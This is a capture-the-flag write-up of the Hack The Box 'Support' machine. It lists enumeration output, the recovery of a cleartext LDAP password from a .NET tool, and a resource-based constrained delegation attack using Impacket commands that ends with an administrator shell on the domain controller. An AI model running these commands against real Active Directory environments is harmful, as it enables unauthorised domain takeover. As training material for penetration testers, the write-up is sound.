Skip to content

Latest commit

 

History

History
67 lines (64 loc) · 3.17 KB

File metadata and controls

67 lines (64 loc) · 3.17 KB

Enumeration

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-13 15:17:21Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-03-13T15:17:24
|_  start_date: N/A
|_clock-skew: -22h27m54s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Enumerating smb with smbmap -u guest -H dc.support.htb We access the share with smbclient \\\\dc.support.htb\\support-tools -N --no-pass Found an unusual app called UserInfo.exe so using mono to run it: Using wireshark to sniff the packets or can use DNSpy as it is a .NET application we find: Following to TCP stream: This appears to be a cleartext password for a user called ldap Trying the password with

cme smb 10.10.11.174 -u ldap -p "$nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz"  

It doesnt work But using single quotes and removing "$" makes it work. Now using bloodhound to collect info

bloodhound.py -dns-tcp -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -ns 10.10.11.174 -d support.htb -c all

We find almost nothing of value but the support user looks interesting

Now using ldapsearch

ldapsearch  -D '[email protected]' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" -H ldap://support.htb > ldap.out

Now checking the info field in ldapsearch we find password for support: support:Ironside47pleasure40Watchful`

Now we attack with the genericAll permission: Creating a machine account: addcomputer.py -method SAMR -computer-name 'aditya' -computer-pass 'Aditya123@' -dc-host dc.support.htb -domain-netbios support.htb 'support.htb/support:Ironside47pleasure40Watchful' Delegation from aditya to dc: rbcd.py -delegate-from 'aditya$' -delegate-to 'dc$' -action 'write' 'support.htb/support:Ironside47pleasure40Watchful' Now getting the ticket: getST.py -spn 'www/dc.support.htb' -impersonate administrator 'support.htb/aditya$:Aditya123@' Now to get a shell: KRB5CCNAME=administrator.ccache psexec.py -dc-ip 10.10.11.174 support.htb/[email protected] -k -no-pass